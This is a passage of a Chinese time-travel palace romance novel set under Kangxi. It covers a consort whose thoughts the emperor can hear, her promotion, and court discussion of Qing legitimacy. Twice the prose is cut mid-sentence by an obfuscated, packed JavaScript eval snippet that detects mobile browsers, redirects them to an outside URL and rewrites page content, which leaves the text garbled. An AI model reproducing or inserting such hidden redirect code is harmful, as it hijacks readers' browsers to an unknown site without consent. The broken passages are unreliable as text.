齐满月本就是你不尴尬我就不会尴尬的性子,再加上对方是不请而来,自然没有调侃氛围的义务。 便低着头一点点抿着杯子里的茶水,只当看不到对方脸上的不自在。 房间里只有云秀和云月忙忙碌碌的细碎杂音,除此之外便只有屋外的鸟鸣和时不时的猫球叫声。 也不知过了多久,实在受不住这样氛围的成贵人,尴尬开口:“我今日来找妹妹,是说那个毛毡。” 她看着齐满月终于抬头看她了,忙笑着继续说道:“我那宫人天生蠢笨了几分,不及妹妹这边的钟灵毓秀,便是过来学了也没学个明白,今日是想请妹妹再细细教一遍。” 成贵人话音停了一顿,似乎在等齐满月客气回应,可不承想齐满月只看着她一脸故作懵懂的样子,只当什么都没听懂。 成贵人咬着牙根磨着牙,最后还是强撑着笑意说道:“我听说妹妹做了几幅布贴的画作,我听着好奇,便想过来看看,若妹妹愿意,能够教姐姐一星半点,自然是最好的。” 齐满月挑了下眉,她算明白了,这位是跑来偷师顺便来探明情报的。 想了想,她笑着点了点头:“好啊。” 说着她站起身做出一副姐妹情深的模样拉着成贵人就往隔壁小间走去。 那是云秀她们给她捯饬出来的手工间。 拉着成贵人,她说的那叫一个详细,那叫一个枯燥,那叫一个让人昏昏欲睡,直把成贵人哄得两眼发直,满脑子浆糊,才将人忽悠走。 “小主何必对她这般客气,只怕她学了您的东西,回头拿去上进了。”云月最耐不住性子,在成贵人走后就忍不住问道。 “你觉得成贵人是傻子吗?”齐满月看着宫门口,想了想问道。 云月呆愣着,摇了摇头。 齐满月轻笑一声:“是啊,不是傻子,那干嘛做的是傻子的事情呢?” 说着她拍了拍云月的肩膀,往屋子里走去。 云月忍不住挠了挠头,还是没想明白。 旁边的云秀轻笑着摇了摇头,跟着齐满月进了屋子。 见两人这故作玄虚的模样,云月愤愤地跺了跺脚,赶忙跟了进去。 这边成贵人收回脸上的那副迷茫的表情,冷冷地看了眼旁边的宫人,才说道:“你去回了那边,就是我都按照她的要求去做了,让她也不要失约。” 宫人沉默地对她点了点头,悄然退下。 夜幕将至,满宫只有侍卫还在巡逻的时候,永寿宫里一个俏丽的身影轻轻走到宫门口敲了几下宫门,又递出去一枚令牌。 不过片刻,本该紧锁的宫门被小心打开一个缝隙,身影直接从缝隙挤出去,快速向着一个方向走着…… “行,你继续盯着,莫要被齐佳贵人发现,也莫要让任何人伤害了她。” “是!” “回去吧……” 宫人恭敬跪安后,又快速且安静地回到永寿宫。 “你干嘛去了?”同一间屋子里的其他宫人正好起夜看到她,不由诧异地扫向还黑着的夜晚。 “我腹痛难忍怕吵着你们,便出去坐了坐。”身影轻声回了句,便推了她一把,“行了早点睡吧,明天事儿还很多呢。” 齐满月丝毫不知道永寿宫发生的一切,就像是有一双手将一切黑暗地、不安地遮挡在她的外面…… 20. 心动启蒙 在宫里日子过得平淡且快,尤其是对齐满月这样本就对生活要求不高的人,时不时搞点小手工,拉着宫人们聊聊她们知晓的故事,就这样慢悠悠地一天也就混过去了。 那辆黄履庄发明的自行车已经被搬出了永寿宫,至于送到哪里没人和齐满月说,她也懒得问,反正怎么看这玩意儿都落不到她一个小小贵人手中。 别说,这后宫的宫人们知道的一些故事可比那些死板的女四书有意思多了,甚至有些比她前世看的鬼故事还要吓人。 要知道前世因为身体原因,她曾经在很长一段时间里都是被要求不能看这些刺激的东西。 不过也有不少痴男怨女的故事,齐满月觉得不少故事挺毁三观的,时不时还和云秀几人坐一起边聊边吐槽。 也因此,齐满月发现这个时代的女性并不像她想象中那样的死板无趣,相反她们也有着非常有趣的灵魂,她们也会吐槽一些恋爱脑毁三观的故事。 “说起来,皇上好像很久没进后宫了?”几个人闲扯着不知道怎么着就扯到皇上身上。 云秀忍不住瞪了这几个聊起天儿来就不管不顾的丫头,才轻咳着压低声音说:“前朝出点事,听说是江南那边还有京畿之地,接二连三地出事儿,民间正传言……” 云秀抬眼四处打量了一番,才继续压低声音说道:“民间正闹个不停,尤其是那些汉人。” 齐满月动作一顿,她脑子里瞬间想到传说中白莲教。 白莲教可是个历史悠久的造反专业户,据她曾经听说过的八卦,这个教派可是自从元朝就有了,据传言甚至在南宋就有了。 如果是他们借此闹事倒也不稀奇。 不过……齐满月微微蹙眉,总觉得哪里有些不对:“白莲教是这个时候吗?” “小主?”云秀见她轻喃着发呆,却没听到她具体说了什么,只当她被吓到了,忙开解说道,“小主莫怕,民间无非是闹一闹而已,并无大碍。” 齐满月若有所思地点了点头,才听着云秀继续说道:“听说有个什么教的一直在民间协助赈灾,还颇有名声呢。” “咦!”齐满月脑子里顿时冒出一个硕大的惊叹号,“白莲教没造反?!” “说起来……”她忍不住戳了戳下巴,“我记得白莲教好像是在嘉庆年间打入皇宫的,那之前……造反过吗?” “白莲教!?”站在永寿宫宫外的康熙眉头紧皱。 他这些时日忙着赈灾抚民的事情,这一忙就差不多忙了三四个月,如今都已经近秋日了,还不曾见过齐满月几次,所以在今日一切都忙完后,才抽了个空来永寿宫看看对方。 却没想到,还没进去就听到这样的消息。 想到这里,康熙忍不住蹙眉,白莲教他还真从大臣们递上的折子中看到过。 尤其是山东和浙江的折子上,都有些民间白莲教协助赈灾的事情,曾一度让他对这个教派有了些许好感,但对这个汉人的教派他还真没了解过。 造反专业户?南宋就有?难不成汉人还造汉人的反不成? 这样想着,康熙就直接抬腿走到永寿宫里。 齐满月有些诧异地看着他,她没想到康熙时隔三个月进入后宫后,第一天会来永寿宫,赶忙下跪行礼。 “起来吧。”康熙刚说完,就突然不见外地拉着她的手就往里走。 “哇靠!他为什么突然牵我的手!我们有那么熟吗?!”康熙听着对方心里不住地尖叫,嘴角无语地抽了抽,但抓着对方的手始终没有放开。 尖叫了好一会儿后,齐满月才在心里突然反应过来:“对哦,我是他的妃嫔,某种意义上算两口子吧……” 听到“两口子”这样过于俚语的称呼,康熙忍不住一愣。 他没想到对方会用这样的词来形容两人的关系,毕竟在这一刻之前的他对齐满月,更多的是逗弄一个未来者,还有宠爱自己嫔妃这样的想法上。 毕竟他所认可的妻子迄今为止也只有赫舍里,法理认可的还有钮祜禄氏,未来他还有妻子吗? 在康熙的印象里,他似乎还从未想过这个问题,但在钮祜禄去世后,他也有想过这个后宫还有谁是他所信任能够坐到那个位置上的。 当时他的第一个想法就是表妹佟佳氏,但同样的最不可能的也是佟佳氏,毕竟佟佳氏不能再出一个皇后更不能再出一个拥有佟佳氏血脉的嫡子。 也不知是他的祈愿成功了,还是他和表妹确实无子嗣缘分,表妹入宫至今数年,还不曾有过身孕。 不过早些年宫里去世的孩子太多,他有一瞬也会想没有也好,免得表妹要承受一次丧子之痛。 “康熙咋了?握着我的手发什么呆?”齐满月的话将他从回忆中唤回神来。 康熙微微紧了紧握着对方的手,拉着齐满月就坐到了罗汉床上:“陪朕坐坐。” “咦!?找解语花找我这干嘛?后宫里多的是呢?”齐满月乖巧地坐在罗汉床边,微微垂着头给康熙倒茶,可心里却不住地吐槽。 康熙没从她的心声里听出什么醋意,反倒听出了不少揶揄。 刚刚那将他二人比作夫妻的心声就像是一场幻觉,他心下不由叹了一口气,却一时间无法分辨叹出的这口气里是对对方突然不关注这件事的些许失落,还是无法让对方成为自己妻子的歉意…… 秋日的风有些喧嚣,吹在永寿宫院落的矮树上,发出细碎的簌簌声;在这个只有宫人浅淡呼吸声的永寿宫偏殿里,这声音显得格外明显,带着几分吵闹。 康熙从自己思绪中回神时,只觉得那秋木和风相遇的声音带着几分能压下他心中烦躁的舒缓。 阳光透过窗棂温柔地洒在面前的人身上,为那本就白皙的肌肤铺添上一抹微光,衬得肌肤宛如珍珠一般闪着珠光,这光闪进他的眼眸中,让他忍不住希望时间就这样慢慢地停在这一刻,停在这样一个足以让他觉得安全且能够放心的时刻里。 “看我干嘛?怎么不说话?”齐满月却没有他那么多的感慨,她只觉得屋子里静得有些烦闷,外面的叶子声有些吵闹,面前的皇帝有点大病。 “咳。”康熙不知为何,下意识地干咳一声,抬手端起一杯茶,掩饰住脸上自己都不曾深觉的不自在。 “这些时日,山东江南浙江那边都不大安稳,朕竟然许久未曾来看你。”说着他扫过齐满月有些诧异的眼神,声音瞬间一顿,此时他自己也察觉出来这话对一个贵人而言有些过深了。 “之前带了个自行车给你,可喜欢?回头要是有些喜欢的直接遣人去乾清宫找梁九功,只要你不是违反宫规的,朕都应你。” “怎么突然对我那么好?做了什么对不起我的事心虚?不对啊,我不过是个小贵人啊,该不会真把我爹安排去了前线吧!!我可怜的已经七十多岁的老父亲!!” 康熙没想到对方心声没如他所愿响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551081|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起有关于自行车的事情,反倒拐到了布色赫身上,赶忙开口说道:“对了,前日里你阿玛上了折子,乞骸骨归乡。” “我阿玛……辞官?”齐满月的声音中带着几分茫然,“我……阿玛有官职?爵位还能辞掉?” 齐满月这次是难得心口统一,她的心声也如面上一样带着迷茫:“是我孤陋寡闻了?祖传爵位也能辞官了?” 康熙微微叹了口气,不知道为自己曾经说过的话在对方心里没有留下丝毫痕迹而叹,还是为这位明显不清楚大清官场规则的懵懂而叹。 “爵位自然不能辞,更不用说你阿玛身上的爵位本就是世袭罔替的,是朕前些日子让他做了散秩大臣。” “散秩大臣……是个啥?!”齐满月越发茫然了,她前世里虽然爱看清穿小说,可多是放在后宫的,你要问哪个阿哥的生平或是妃子的生平,她能给你说得头头是道,可说到前朝她就完全不懂了。 就连戴梓和黄履庄这种被遗失在历史中的天才,还是她经常刷到相关视频后,才了解了一点,除了前几天想到的那些,其他的是真的都忘得差不多了。 康熙也听到了她这些想法,无奈又叹了口气才轻声解释道:“你不必管散秩大臣是干嘛的,只知道是专门给老臣安排的职位就行了。” “哦哦。”齐满月乖巧点了点头,心里却不断闪过疑惑。 “不对啊,我家里又没钱,多一个官位还能多点俸禄,阿玛为什么要辞官?” 康熙想了想,没解释布色赫辞官背后的忧女之心,只说道:“朕最近实在没时间去管黄履庄等人的事情,便想让父亲去看一看,他老成持重正好可以压阵。” “一切谨听皇上吩咐,齐佳一族能够为君分忧本就是齐佳一族的福分。”齐满月面上自然是一切都紧守这个时代女性的行为规范,可心里却不是这样想的。 康熙听着她面上的谦虚只觉得牙酸,听到她的心声后才觉得几分习惯。 想到这里,他不由暗笑几声,自己如今少了这活泼的声音还真有些不习惯。 心里念着,他忍不住抬手揉了揉眉心,这些时日和大臣们你来我往好不热闹,他也越发怀念齐满月这种连心声都无法瞒住他的感觉。 “你们自入宫起便无法再出宫,想来也有些无趣,朕许宫人与你讲些宫外的事情,只是宫外的书籍莫要带进来。” 康熙想到孝庄让人递给他的消息,每日请安时都能听到齐满月抱怨着无趣,想看话本子,便忍不住说道。 齐满月听后眼睛一亮,这宫里自然也有说书的女先生,只是她这样的身份很难申请得到,宫人给她讲故事也只能是私下的,也多亏永寿宫就她一个人,但凡多一个宫妃,别说宫人连她都不敢这样放肆。 这样想着,她心里对此时的康熙便多了几分夸赞。 简单的两句夸奖,不及那些大臣们的口吐莲花,辞藻华美,也不及后宫其他妃嫔那般情意绵绵充满钦佩,可却让此时的康熙有种莫名的荣耀感,是远超于过去听过的所有的夸赞的欣喜感,是一种超越了时间和空间所带来的后人对他的那种称赞的感觉,让他不禁脸上就带了几分笑意。 这份笑意落在齐满月眼中却觉得皇帝病得不轻。 康熙没想到还没夸两句,对方反而又开始在心里骂自己了,忍不住揉着额角。 谁知正巧慈宁宫来人,他便赶忙起身离开,他可不想再听齐满月的数落了。 21. 祖孙谈心&封嫔 康熙就这样匆匆离开,让齐满月忍不住愣了下,心下不由暗自腹诽道:“咋又这么突然?我这里的东西是扎屁股吗?每次和我相处都急急忙忙的?” 康熙抽了抽嘴角,实在不想和对方计较,只能当作什么都没听见,快速钻进御辇。 一路上慢悠悠地来到慈宁宫,中途康熙还遇到几个嫔妃,但他此时可没有宠幸的心思,只照着往日关心了几句而已。 到了慈宁宫,孝庄将其他伺候的宫人安排出去后,才问道:“你那边都没问题了?” 康熙点了点头:“嗯,多亏了系统的提前预警,才能及时救助,不然怕是……” 孝庄也跟着叹了口气:“至少能够挽救。” “说起来,孙儿想着要不要直接给齐佳氏晋位分,毕竟若不是她带来了系统,怕也不会有如此顺利。”康熙压下心中的一抹悸动,想了想才将想法说出口。 “倒也算她一功,只是对内宫外朝总该有个说法。”给齐满月晋位到嫔位是孝庄和康熙本就计划好的,她倒也不意外,只是没想到康熙如此急切罢了,她还以为最快也要齐满月侍寝之后。 康熙端着茶盏的动作微微一顿,随后才笑着应道:“齐佳氏出身八大姓,祖上和她父亲都是有功的,便是无功晋位倒也说得过去。” 孝庄听到这里愣了下,她总觉得哪里有些不对,只是如今别说前朝,就算是后妃她也不想管束太多,毕竟上一个管束太多的早已和她决裂。 见她默认下,康熙不由暗自松了口气。 不过这口气还未彻底松下,他自己心里就不由咯噔一下。 他何尝为一个嫔妃的晋位而如此紧张担忧过?又何曾为一个女子如此筹谋过该如何让她过得更好? 念头在心中不停徘徊,也让他的心里骤然生起一点警惕,那是对自己这一刻有些失控情绪的警惕,也是来自于先帝和那些祖上事迹的警惕。 “要不……再等等吧……” 康熙这突然的改口让孝庄有些诧异,她看着面前正在出神的孙子,心中顿时起了一个有些不可置信的猜测,可怎么看着那张爱新觉罗氏的脸,她心里开始无比地相信这个猜测如此地真切。 那个属于爱新觉罗氏的所谓的诅咒,曾被她数次和苏麻喇姑暗地里嗤之以鼻的痴情,在她所认为不会出现这样情况的孙子身上长出了一丝萌芽。 该庆幸他所要钟情的是一位天赐的存在,而非那些只能被困在后宫里成为男人点缀的无能为力的存在吗? 该庆幸吗? 孝庄的心中不断闪着这样的念头,许久之后,在康熙还不曾从自己那复杂的心绪中回神前,孝庄无声地叹了口气:“倒也不必拖着,若非系统不同意,以她的出身和能力,本该是一个妃位的。” 妃位啊……康熙眼眸微垂不自觉发出一声轻叹,若是……皇后……也未尝不可啊。 可这样的念头不过是在心中闪过一瞬就被他压下,齐佳氏的出身到底低了些,即便是八大姓,也因家族人丁不旺而落寞,而她性子天真也不适合坐在那样的位置。 康熙丝毫没反应过来,当他把齐满月放到那个位置考虑的时候就已经意味着他所有的警惕都不再是警惕。 “听祖母的。”他没有再多说什么,失神的这会儿,他一直盯着虚空里系统给的民心所向线图,他看了许久,就像是想从那些线图里看出自己的心,而就在孝庄说完这句话后,他才回过神来。 他……心终于定了,至少在这一刻,他对于齐满月是最放心也最信任的,更想将一切世间最好的捧到她的面前,至于那背后的原因……对此刻的他而言并不重要,因为他是皇帝,掌握着大清的帝王。 孝庄没有去追问康熙在出神的这一会儿想了些什么,她期盼着对方还迷茫着,可又恐惧对方因迷茫而错过这样的机缘。 揉着额角,她犹豫了许久还是说道:“前几日齐佳贵人来请安时,有说过一些事,我觉得你该知道的。” 看着她满脸慎重,康熙心中有了很不好的感觉,想到齐满月心声一向直白,他下意识举手揉了揉太阳穴:“她说了什么?” “你是不是打算让徐乾学修明史?” “正是,本朝修前朝史本就是惯例,大清修明史也算合理,如今既然我大清已经伫立此地,也该为前明修史了。”康熙毫不犹豫地点了点头。 “……”孝庄沉默了一瞬,才说道,“据齐佳氏所言,后世因我朝修明史时删改太过,而认为我们得朝不正……” 她其实并没有将齐满月的话直接告诉康熙,因为齐满月那时说得实在太过难听了,甚至直接称之为“偷”,这是何等具有轻蔑意义的指责,让她这样一个维护蒙满权益的人如何能够说得出口。 想了想,她又说道:“齐佳氏说创业太易,诛戮过重,有天下者太巧……” “创业太易,诛戮过重,有天下者太巧……”康熙声音中带着些许冷意,他猛地站起身,脸色发青地看着虚空,可是许久后,他还是闭了闭眼坐回到位置上,“我……我们……该如何辩解呢?” 他的声音里满是迷茫夹杂着一丝心虚,却更多的是无措。 毕竟这话多么一针见血啊,犀利到他没有丝毫可以辩驳的地方。 “我想着,既然她来的那个后世都如此认为了,我们又何必遮遮掩掩。”孝庄犹豫了片刻后才说道。 她何尝不想让满蒙的统治更加具有说服力,她甚至在刚刚听到这话的第一反应是再发起一次“剃发易服”的血腥运动,将那些有这样思想的汉人杀尽,杀怕。 可那一瞬间起的杀念让系统直接对她进行了电击惩罚,那一刻的电击足以让这个自认为经历过大风大雨的老人,对系统有了一丝恐惧。 也因此,在仔细思考数日后,她从最初的起杀意,到逃避,再到想放任一切按本该走的线路去走,直到今天齐满月在请安时提到了关于她身上的后世揣测。 那一瞬间,她突然有种想要将自己一切如实记录下来的冲动,也因此明白了记录的意义,这才彻底改变主意。 “呵!”康熙却冷笑一声,“自唐太宗改史以来,哪朝哪代不对前朝历史修缮更变掩饰,难不成汉人可以改汉人的历史,我满族就不能改了?元朝尚且改了宋史,她们后世便只抓着我们不放?” 康熙此时回过神来,那些过往读过的书不断在脑海里闪现,今日被齐满月心声噎到的憋闷也在这一刻爆发。 “谁让……她是汉人呢?而我们大清……确实得位不正啊……”孝庄的声音在旁幽幽响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553066|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,打断了康熙的话。 康熙一噎,停止了愤怒,无力地坐在座位上:“额涅玛玛可知,若是我大清得位详情被传出去,怕是民间的汉人更压不住了。” “那就做一个汉人也满意的皇帝。”孝庄看向康熙,“这不是你和你阿玛一直想做的吗?” 康熙没想到自己早些时候的一些想法会被孝庄发现,这一瞬间心中立刻有了对孝庄的警惕,可瞬间又消失。 他是被孝庄养大的,对方能够猜中他的心思也不算意外。 这短短一瞬间的警惕,也让孝庄不由在心中叹道:“不愧是天生的帝王啊……” “此事你心中有了数,我便不再说什么,如今天下是你的天下,该如何做是你的事情。”孝庄也不知是想起对齐满月的那一瞬间的无力,还是对康熙可能动心的恐慌,抑或是对康熙对她起质疑的悲哀,总归这一刻她只想静静。 康熙张了张嘴没再说什么,起身行礼离开。 他离开后苏麻喇姑轻轻走到孝庄身旁,将她的手握在自己手中,一时间慈宁宫里再次恢复了往日的安静。 只是这安静中透着说不清的让人无法平静的讯息…… “奉天承运皇帝,制曰:朕惟佐理后宫……必资淑德以助徽音。咨尔齐佳氏,齐佳布色赫之女……肃雍之德流芳;淑慎持躬……柔顺之风昭著。兹仰承太皇太后慈谕,册封尔为襄嫔,赐居永寿宫……衍皇室之洪庥……钦哉。” 一道封嫔的圣旨打破了后宫本就不甚多平静的氛围。 “她才入宫几时?莫不是诞有子嗣,便是侍寝也不过只一次,怎么就封了一宫主位?!”后宫的一个宫室里,一位容貌美艳却因发火而造成五官扭曲的女子,愤恨地将手中的茶盏扔得老远。 她身旁侍奉的宫人赶忙上前宽慰:“主子怕是什么,不过是齐佳一族的,那一族连个当用的都没有,她那阿玛都七十了,怕是皇上看在她阿玛的份儿上才赏了这么个位置。” “她齐佳一族不算什么,阿玛又是年龄大不中用的,可她一入宫就以贵人身份独居永寿宫,现在更是凭借嫔位名正言顺地当了一宫主位!我呢!我也是嫔位却不得不屈居侧殿,连个本宫都不能自称!” “主子!”宫人赶忙上前捂住她的嘴,“隔墙有耳!” 女子想了想收敛了怒意,看向宫人:“成贵人那个废物一点都没得逞?” “是她福气太薄,去了几次都没能碰见皇上。”宫人忙应道。 “还不如个卫氏,好歹生了个孩子,就算是爬不上去有个孩子便在皇上心里有了印象。” “到底是惠妃娘娘宫里的人,自然灵秀几分。”宫人不知为何并没有顺着对方的意思贬低延禧宫的人。 女子没听出对方的意思,她只一心沉寂在自己的世界里,许久后她才忽地拍了拍手:“听说那卫氏容貌堪称艳冠后宫?既然如此我倒要看看,皇上会拒绝到嘴里的肉!” 宫人脸色一白,她没想到主子一心将主意打到延禧宫去,只是却一时间不知道该如何去劝说,她想了想才犹豫道:“那卫氏容貌怕是不及……” 女子没搭理她,只冷冷一笑,让她去想办法。 宫人没辙,只能为难地退下,没多久她就满怀心事出了宫门……